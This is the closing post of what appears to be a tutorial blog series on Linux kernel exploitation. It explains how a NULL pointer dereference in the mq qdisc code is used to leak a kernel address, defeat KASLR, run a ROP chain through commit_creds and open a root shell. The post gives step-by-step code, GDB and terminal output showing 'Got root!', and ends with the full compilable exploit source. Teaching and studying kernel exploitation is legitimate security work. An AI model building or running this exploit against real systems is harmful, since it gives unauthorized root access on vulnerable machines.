struct Qdisc *dev_graft_qdisc(struct netdev_queue *dev_queue,
                  struct Qdisc *qdisc)
{
...
    rcu_assign_pointer(dev_queue->qdisc, &noop_qdisc);
...
}

Remember that the object ‘dev_queue‘ in this function is controlled by us. Note in the code that the address of a global object (&noop_qdisc) is written into an object we have control over. We can check it with GDB, inspecting the memory of that controlled object:

NOTE: Recall that the NULL page holds a pointer to a ‘struct Qdisc’ object (address 0x7fff673ad9c0), whose ‘dev_queue’ member points to our ‘struct netdev_queue’ object (address 0x7fff673ad610). Therefore, the user controls both objects.

Bash
(gdb) c
...
Thread 1 hit Breakpoint 2, qdisc_put (qdisc=0x7fff673ad9c0) at net/sched/sch_generic.c:1074
1074    {
=> 0xffffffff818258d0 <qdisc_put+0>:    0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
(gdb) x/gx 0
0x0 <fixed_percpu_data>:        0x00007fff673ad9c0
(gdb) x/10gx 0x00007fff673ad9c0
0x7fff673ad9c0: 0x0000000000000000      0x0000000000000000
0x7fff673ad9d0: 0x0000000000000000      0x0000000000000000
0x7fff673ad9e0: 0x0000000000000000      0x0000000000000000
0x7fff673ad9f0: 0x0000000000000000      0x0000000000000000
0x7fff673ada00: 0x00007fff673ad610      0x0000000000000000
(gdb) x/4gx 0x00007fff673ad610
0x7fff673ad610: 0x0000000000000000      0xffffffff82fe63c0
0x7fff673ad620: 0x00007fff673ad9c0      0x0000000000000000
(gdb) x/g 0xffffffff82fe63c0
0xffffffff82fe63c0 <noop_qdisc>:	0xffffffff81824540
(gdb)

Note that there is a kernel address leaked at offset 0x8 of our ‘netdev_queue‘ object (address 0x7fff673ad610). If we check the symbol for this address, we confirm the existence of the symbol ‘noop_qdisc‘, as seen previously in the code of the dev_graft_qdisc() function.

We can subtract the original symbol address (obtained with KASLR disabled) from the leaked address, which gives us the KASLR slide. Let’s test this possibility. We need to trigger the vulnerability once without trying to run code or release our victim object. Once triggered, we can read the obtained address, obtain the KASLR slide and update the hard-coded addresses, and then trigger the vulnerability to execute code with the updated addresses defined.

In the third post of this series, we presented the proof of concept by placing the address of a ‘struct Qdisc‘ object at the NULL address. The mq_attach() function runs the loop, gets the address of this object in the first iteration, performs the operations to return a ‘struct Qdisc‘ in the ‘old‘ variable (by calling dev_graft_qdisc()), decrements the reference counter (by executing qdisc_put()) and adds the object to a hashtable (by calling qdisc_hash_add()). The reference counter of the object is decremented by qdisc_put() and, consequently, the execution of the callback ->destroy() happens. This happens because we set the object’s reference counter to 1.

C
static void mq_attach(struct Qdisc *sch)
{
    struct net_device *dev = qdisc_dev(sch);
    struct mq_sched *priv = qdisc_priv(sch);
    struct Qdisc *qdisc, *old;
    unsigned int ntx;

    for (ntx = 0; ntx < dev->num_tx_queues; ntx++) {
        qdisc = priv->qdiscs[ntx];
        old = dev_graft_qdisc(qdisc->dev_queue, qdisc);
        if (old)
            qdisc_put(old);
#ifdef CONFIG_NET_SCHED
        if (ntx < dev->real_num_tx_queues)
            qdisc_hash_add(qdisc, false);
#endif

    }
    kfree(priv->qdiscs);
    priv->qdiscs = NULL;
}

C
void qdisc_put(struct Qdisc *qdisc)
{
    if (!qdisc)
        return;

    if (qdisc->flags & TCQ_F_BUILTIN ||
        !refcount_dec_and_test(&qdisc->refcnt))
        return;

    qdisc_destroy(qdisc);
}

We will now need to trigger the vulnerability twice. The first time, the randomized kernel address is obtained, and the KASLR slide is computed. The second time, to get the code execution and escalate privileges. Since we want the mq_attach() function to be executed entirely on the first trigger, without executing the qdisc_destroy() function, we can modify our code so that the NULL address has 16 (the number of loop iterations) ‘struct Qdisc‘ objects with the reference counter set in such a way to avoid executing qdisc_destroy().

C
...
int main (void) {
...
    for (int i = 0; i < 16; i++)
            mynull[i] = (unsigned long)&myqdisc;
    myqdisc.refcnt = 17;
    
    myqdisc.dev_queue = &netdev_queue;
    netdev_queue.qdisc_sleeping = &myqdisc;
...
}

The image below illustrates the relationship between the objects and how they are used to achieve our goal.

Diagram of the self-referential fake qdisc used to leak noop_qdisc and trigger the stack pivot.
Click to enlarge.

With this modification, the loop is executed completely, but without calling the callback ->destroy(). Let’s modify the ‘struct netdev_queue‘ object to make it easier to read the leaked kernel address:

C
...
struct netdev_queue {
    char pad1[8];
    unsigned long noop_qdisc;
    void *qdisc_sleeping;
    char pad2[360];
};
...
int main (void) {
...
    printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);

error:
    nl_socket_free(sock_nl);
    return err;
}

Bash
user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
user@debian12:~$

We can confirm the value by reading the /proc/kallsyms file:

Bash
user@debian12:~$ sudo cat /proc/kallsyms | grep -w noop_qdisc
ffffffff82fe63c0 D noop_qdisc
user@debian12:~$

We have indeed got the kernel address. So, let’s move on to calculating the KASLR slide. The address printed out by the code is the address of the object ‘noop_qdisc‘ when KASLR is disabled. Let’s use it as a base to subtract from the leaked address. Here’s the calculation to find the KASLR slide:

C
...
#define NOOP_QDISC      0xffffffff82fe63c0
...
int main (void) {
...
    unsigned long kaslr_slide = 0;
...
    printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);

    kaslr_slide = netdev_queue.noop_qdisc - NOOP_QDISC;
    printf("[*] KASLR slide: 0x%lx\n", kaslr_slide);

error:
    nl_socket_free(sock_nl);
    return err;
}

Bash
user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
[*] KASLR slide: 0x0
user@debian12:~$

In the above execution, we see that the indicated KASLR slide is 0. We expect this result since we have disabled KASLR at the moment. Then, in the next step, we will test it with the mitigation enabled.

The hard-coded addresses in the exploit are:

  • the stack-pivot gadget assigned to the ->destroy() callback; and
  • the gadgets and kernel functions used in the ROP chain.

Let’s update the build of the ROP chain to take into account the KASLR slide:

C
void build_krop (unsigned long * stack, unsigned long kaslr_slide) {
    int offset = 0;

    if(stack == NULL){
        printf("[-] - Error while building kROP\n");
        exit(EXIT_FAILURE);
    }

    stack[offset++] = POP_RDI_RET + kaslr_slide;
    stack[offset++] = 0;
    stack[offset++] = PREPARE_KERNEL_CRED + kaslr_slide;

    stack[offset++] = XCHG_RAX_RDI_CMP_CLTQ_RET + kaslr_slide;
    stack[offset++] = COMMIT_CREDS + kaslr_slide;

    stack[offset++] = RTNL_UNLOCK + kaslr_slide;

    stack[offset++] = POP_RCX_RET + kaslr_slide;
    stack[offset++] = (unsigned long)&got_root;
    stack[offset++] = POP_R11_RET + kaslr_slide;
    stack[offset++] = user_rflags;
    stack[offset++] = POP_RSP_SWAPGS_SYSRETQ + kaslr_slide;
    stack[offset++] = user_rsp;
}

int main (void) {
...
    printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);

    kaslr_slide = netdev_queue.noop_qdisc - NOOP_QDISC;
    printf("[*] KASLR slide: 0x%lx\n", kaslr_slide);

    ops.destroy = (void *)STACK_PIVOT + kaslr_slide;

    build_krop(fake_stack + PAGE_SIZE, kaslr_slide);

error:
    nl_socket_free(sock_nl);
    return err;
}

Bash
user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
[*] KASLR slide: 0x0
user@debian12:~$

At this point, the code runs without any issue. However, as we can see, the vulnerability is not triggered to the point of executing the code we created to escalate privileges. So, we need to trigger the vulnerability again. The vulnerability is triggered by changing a ‘qdisc‘ on the interface, as done by the function qdisc_replace(). Once we have the ROP chain built taking KASLR into account, we need to trigger the vulnerability the second time. As we set the qdisc object reference counter to 17, it can be used in the loop the first time the vulnerability is triggered (16 times) and calling the ->destroy() function pointer the second time the vulnerability is triggered.

C
int main (void) {
...
    if (qdisc_replace(sock_nl, "bond0") < 0) {
        perror("qdisc replace");
        err = EXIT_FAILURE;
        goto error;
    }
...
    build_krop(fake_stack + PAGE_SIZE, kaslr_slide);

    if (qdisc_replace(sock_nl, "bond0") < 0) {
        perror("qdisc replace");
        err = EXIT_FAILURE;
        goto error;
    }
...
}

Bash
user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffff82fe63c0
[*] KASLR slide: 0x0
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$

The code worked successfully! Let’s enable KASLR and reboot the machine to test.

Bash
user@debian12:~$ sudo sed -i 's/nokaslr//' /etc/default/grub
user@debian12:~$ sudo grub-mkconfig -o /boot/grub/grub.cfg
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-6.1.0-23-amd64
Found initrd image: /boot/initrd.img-6.1.0-23-amd64
Found linux image: /boot/vmlinuz-6.1.0-22-amd64
Found initrd image: /boot/initrd.img-6.1.0-22-amd64
Found linux image: /boot/vmlinuz-6.1.0-3-amd64
Found initrd image: /boot/initrd.img-6.1.0-3-amd64
Warning: os-prober will not be executed to detect other bootable partitions.
Systems on them will not be added to the GRUB boot configuration.
Check GRUB_DISABLE_OS_PROBER documentation entry.
done
user@debian12:~$ sudo reboot

Look, we have the machine with KASLR enabled, and our exploit works correctly:

Bash
user@debian12:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-6.1.0-3-amd64 root=UUID=91cfce81-5ed9-46ab-a77e-3b464dbddff2 ro clearcpuid=smap nopti quiet
user@debian12:~$ sync; gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0) -Wall
user@debian12:~$ ./exploit
[*] Creating namespace
[*] Namespaces created successfully
[*] User mapped to root inside the namespace!
[*] Creating interface bond0
[*] Setting interface bond0 up
[*] Adding a qdisc to bond0 interface
[*] ifindex: 2
[*] Replace qdisc on bond0 interface
[*] noop_qdisc leaked: 0xffffffffad3e63c0
[*] KASLR slide: 0x2a400000
[*] Replace qdisc on bond0 interface
[*] Got root!
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
user@debian12:~$

SMAP and KPTI

Two mitigations still remain disabled, and we will not perform the bypasses in this post: SMAP and KPTI. Understand the reason:

Supervisor Mode Access Prevention (SMAP) is a mitigation that prevents read and write access to memory on the user address space (pages with the U/S bit set) while running in kernel mode.

If SMAP is enabled, the kernel cannot access the NULL page (or any user page), which defeats the exploitation technique used in this series. The bug would still crash the kernel, but it could no longer be abused for code execution this way.

Kernel Page-Table Isolation (KPTI) is a mechanism that aims to mitigate CPU side-channel vulnerabilities, especially Meltdown. It changes how user’s and kernel’s page tables work. As discussed in the series’s first post, the page table is originally shared between user-mode processes and the kernel.

When KPTI is active, the page tables of the kernel are separated from the page table of the user processes. The user page table has mapped only some kernel entries necessary for the system to function properly. The kernel page table has mapped the entire user address space, but the entries are marked without execution permission. This operation simulates the behavior of SMEP in software, denying the kernel from executing code located in user pages.

With KPTI enabled, we would have to build the final part of the ROP chain in a different way to correctly restore the user’s page table when returning to the function in user mode. However, it was not necessary during this work because newer processors are no longer affected by Meltdown. When the Linux kernel detects this, it doesn’t enable KPTI and this is what we have been seeing on most of the newer processors.

While we don’t bypass those mitigations in this series, we cover them extensively in our upcoming training. In addition to explaining how these mitigations and their bypasses work, we share practical tips based on our experience leading high-level vulnerability research projects.

Conclusion

We chose to address the NULL pointer dereference vulnerability class because it is very didactic, practical, and accessible; it shows how memory management works in the x86/x86-64 architecture and in the Linux kernel. Even though it is no longer exciting for professional research, it offers a real environment without worrying too much about the complex details of the vulnerability. This was the main objective in writing this series.

The reader can reproduce all the details of this series without trying to understand the abstractions provided by the architecture and the Linux kernel. However, if interested, we present some details, in addition to references, that may help during the studies on the fundamentals of operating systems and exploitation of vulnerabilities in the kernel.

In addition to exploiting the vulnerability, we need to solve issues that arise during exploitation and bypass mitigations. Such details are relevant and engaging regardless of the class of vulnerability we exploit. Once the concept is understood, it can be used in other vulnerabilities.

Another critical factor we consider when writing blog posts is that over a decade ago, it was common to exploit NULL pointer dereference vulnerabilities, which served as a basis for many renowned researchers. You can find several NULL pointer dereference exploits written by big names in the industry. They also had to start somewhere.

This concludes the series. It is our attempt to simplify a complex topic introducing you to exploiting vulnerabilities in the Linux kernel. In this series, we show you how to set up the environment, some details about the vulnerability, how to trigger it, and how to exploit it. We also kept the system stable and functional for a successful exploit, bypassing mitigations such as SMEP and KASLR.

If you want to learn more about computer architecture, the Linux kernel, and vulnerability exploitation, don’t miss out on our training that will be held in 2027—a true immersion into the world of vulnerability research.

Upcoming Introduction to Linux Kernel Exploitation training

In our upcoming Introduction to Linux Kernel Exploitation training in September 2027, we help you build the foundational knowledge needed to master the Linux kernel and low-level computer architecture. These core skills will deepen your technical understanding of system internals, making your transition into any other area of information security significantly smoother.

Introduction to Linux Kernel Exploitation – September 2027
https://allelesecurity.com/introduction-to-linux-kernel-exploitation-september-2027/

References

If you would like more material on the subjects of this post, we recommend the following sources:

Final exploit code

As you know, the exploit code was built step by step throughout the post, but here is a complete version of it. To compile it, use the command below.

You will need the following packages to build the proof of concept.

Bash
$ sudo apt install -y pkg-config libnl-3-dev libnl-route-3-dev

You can build the code below using the following gcc flags:

Bash
$ gcc exploit.c -o exploit $(pkg-config --cflags --libs libnl-3.0 libnl-route-3.0)

C
#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <linux/if.h>
#include <sys/mman.h>

#include <netlink/socket.h>
#include <netlink/route/link.h>
#include <netlink/route/link/bonding.h>
#include <netlink/route/tc.h>
#include <netlink/route/qdisc.h>

#define PAGE_SIZE   4096
#define PAGES       1

#define STACK_PIVOT                 0xffffffff81905de1
#define FAKE_STACK                  0xf6000000

#define POP_RDI_RET                 0xffffffff8100234d
#define XCHG_RAX_RDI_CMP_CLTQ_RET   0xffffffff81045884
#define POP_RCX_RET                 0xffffffff8101e7ac
#define POP_R11_RET                 0xffffffff81506b1c
#define POP_RSP_SWAPGS_SYSRETQ      0xffffffff81c0018f

#define PREPARE_KERNEL_CRED         0xffffffff810cd370
#define COMMIT_CREDS                0xffffffff810cd0d0
#define RTNL_UNLOCK                 0xffffffff817c6ac0

#define NOOP_QDISC                  0xffffffff82fe63c0

struct netdev_queue {
    char pad1[8];
    unsigned long noop_qdisc;
    void *qdisc_sleeping;
    char pad2[360];
};

struct Qdisc_ops {
    char pad1[80];
    void *destroy;
    char pad2[88];
};

struct Qdisc {
    char pad1[24];
    struct Qdisc_ops *ops;
    char pad2[32];
    void *dev_queue;
    char pad3[28];
    int refcnt;
    char pad4[280];
} __attribute__((__aligned__(64)));

unsigned long user_rsp, user_rflags;

void setup_namespace(void) {
    int f;

    printf("[*] Creating namespace\n");

    if (unshare(CLONE_NEWNET | CLONE_NEWUSER) < 0) {
        perror("unshare");
        exit(EXIT_FAILURE);
    }

    printf("[*] Namespaces created successfully\n");
  
    f = open("/proc/self/uid_map", O_WRONLY);
    if(f < 0) {
        perror("cannot open /proc/self/uid_map");
        exit(EXIT_FAILURE);
    }

    if(write(f, "0 1000 1", 8) < 0) {
        perror("cannot write on /proc/self/uid_map");
        close(f);
        exit(EXIT_FAILURE);
    }

    printf("[*] User mapped to root inside the namespace!\n");

    close(f);
}

int create_bond_interface(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
     }

     if (name == NULL){
         return -1;
     }

    printf("[*] Creating interface %s\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){
        return -1;
    }

    rtnl_link_set_name(link, name);

    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

int set_interface_up(struct nl_sock * nl, char * name) {
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
    }

    if (name == NULL){
        return -1;
    }

    printf("[*] Setting interface %s up\n", name);

    link = rtnl_link_bond_alloc();
    if (link == NULL){
        return -1;
    }

    rtnl_link_set_name(link, name);

    rtnl_link_set_flags(link, IFF_UP);
    ret = rtnl_link_add(nl, link, NLM_F_CREATE);

    rtnl_link_put(link);

    return ret;
}

int qdisc_add(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
     }

    if (name == NULL){
         return -1;
     }

    printf("[*] Adding a qdisc to %s interface\n", name);

    qdisc = rtnl_qdisc_alloc();
    if (qdisc == NULL) {
        perror("qdisc allocation");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        rtnl_qdisc_put(qdisc);
        return -1;
    }

    printf("[*] ifindex: %d\n", rtnl_link_get_ifindex(link));

    rtnl_tc_set_link(TC_CAST(qdisc), link);
    rtnl_tc_set_parent(TC_CAST(qdisc), TC_H_ROOT);
    rtnl_tc_set_handle(TC_CAST(qdisc), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc), "mq");

    ret = rtnl_qdisc_add(nl, qdisc, NLM_F_CREATE);

    rtnl_qdisc_put(qdisc);
    rtnl_link_put(link);

    return ret;
}

int qdisc_replace(struct nl_sock * nl, char * name) {
    struct rtnl_qdisc *qdisc_new;
    struct rtnl_link *link;
    int ret = 0;

    if (nl == NULL){
        return -1;
    }

    if (name == NULL){
        return -1;
    }

    printf("[*] Replace qdisc on %s interface\n", name);

    qdisc_new = rtnl_qdisc_alloc();
    if (qdisc_new == NULL) {
        perror("qdisc new allocation");
        return -1;
    }

    if (rtnl_link_get_kernel(nl, 0, name, &link) < 0) {
        perror("can't find interface");
        rtnl_qdisc_put(qdisc_new);
        return -1;
    }

    rtnl_tc_set_link(TC_CAST(qdisc_new), link);
    rtnl_tc_set_parent(TC_CAST(qdisc_new), TC_HANDLE(0xffff,0xfff1));
    rtnl_tc_set_handle(TC_CAST(qdisc_new), TC_HANDLE(0xffff, 0));
    rtnl_tc_set_kind(TC_CAST(qdisc_new), "mq");

    ret = rtnl_qdisc_add(nl, qdisc_new, NLM_F_REPLACE);

    rtnl_qdisc_put(qdisc_new);
    rtnl_link_put(link);

    return ret;
}

void save_registers (void) {
    asm(
        "mov %%rsp, %0;"
        "pushf;"
        "pop %1;"
        : "=r" (user_rsp),
          "=r" (user_rflags)
    );
}

void got_root (void) {
    char *argv[] = {"/bin/sh", NULL};
    
    if (getuid() == 0) {
        printf("[*] Got root!\n");
        execve(argv[0], argv, NULL);
        exit(EXIT_SUCCESS);
    } else {
        printf("[*] We didn't get root, UID: %d\n", getuid());
        exit(EXIT_FAILURE);
    }
}

void build_krop (unsigned long * stack, unsigned long kaslr_slide) {
    int offset = 0;
    
    if(stack == NULL){
        printf("[-] - Error while building kROP\n");
        exit(EXIT_FAILURE);
    }

    stack[offset++] = POP_RDI_RET + kaslr_slide;
    stack[offset++] = 0;
    stack[offset++] = PREPARE_KERNEL_CRED + kaslr_slide;

    stack[offset++] = XCHG_RAX_RDI_CMP_CLTQ_RET + kaslr_slide;
    stack[offset++] = COMMIT_CREDS + kaslr_slide;

    stack[offset++] = RTNL_UNLOCK + kaslr_slide;

    stack[offset++] = POP_RCX_RET + kaslr_slide;
    stack[offset++] = (unsigned long)&got_root;
    stack[offset++] = POP_R11_RET + kaslr_slide;
    stack[offset++] = user_rflags;
    stack[offset++] = POP_RSP_SWAPGS_SYSRETQ + kaslr_slide;
    stack[offset++] = user_rsp;
}

int main (void) {
    struct nl_sock *sock_nl;
    struct Qdisc myqdisc;
    struct Qdisc_ops ops;
    struct netdev_queue netdev_queue;
    unsigned long *mynull;
    unsigned long kaslr_slide = 0;
    void *fake_stack;
    int err = 0;

    memset(&myqdisc, 0, sizeof(myqdisc));
    memset(&ops, 0, sizeof(ops));
    memset(&netdev_queue, 0, sizeof(netdev_queue));

    setup_namespace();

    mynull = mmap(NULL, PAGE_SIZE * PAGES, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
    if (mynull == MAP_FAILED) {
        perror("null mapping");
        exit(EXIT_FAILURE);
    }

    for (int i = 0; i < 16; i++)
            mynull[i] = (unsigned long)&myqdisc;
    myqdisc.refcnt = 17;

    myqdisc.dev_queue = &netdev_queue;
    netdev_queue.qdisc_sleeping = &myqdisc;

    myqdisc.ops = &ops;

    fake_stack = mmap((void *)FAKE_STACK - PAGE_SIZE, PAGE_SIZE * 3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
    if (fake_stack == MAP_FAILED) {
        perror("fake stack mapping");
        exit(EXIT_FAILURE);
    }

    memset(fake_stack,'\0',PAGE_SIZE * 3);

    save_registers();

    sock_nl = nl_socket_alloc();
    if(sock_nl == NULL){
        perror("nl_socket_alloc");
        exit(EXIT_FAILURE);
    }

    if (nl_connect(sock_nl, NETLINK_ROUTE) < 0) {
        perror("connect");
        err = EXIT_FAILURE;
        goto error;
    }

    if (create_bond_interface(sock_nl, "bond0") < 0) {
        perror("bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    if (set_interface_up(sock_nl, "bond0") < 0) {
        perror("bond_interface");
        err = EXIT_FAILURE;
        goto error;
    }

    if (qdisc_add(sock_nl, "bond0") < 0) {
        perror("qdisc add");
        err = EXIT_FAILURE;
        goto error;
    }

    if (qdisc_replace(sock_nl, "bond0") < 0) {
        perror("qdisc replace");
        err = EXIT_FAILURE;
        goto error;
    }

    printf("[*] noop_qdisc leaked: 0x%lx\n", netdev_queue.noop_qdisc);

    kaslr_slide = netdev_queue.noop_qdisc - NOOP_QDISC;
    printf("[*] KASLR slide: 0x%lx\n", kaslr_slide);

    ops.destroy = (void *)STACK_PIVOT + kaslr_slide;

    build_krop(fake_stack + PAGE_SIZE, kaslr_slide);

    if (qdisc_replace(sock_nl, "bond0") < 0) {
        perror("qdisc replace");
        err = EXIT_FAILURE;
        goto error;
    }

error:
    nl_socket_free(sock_nl);
    return err;
}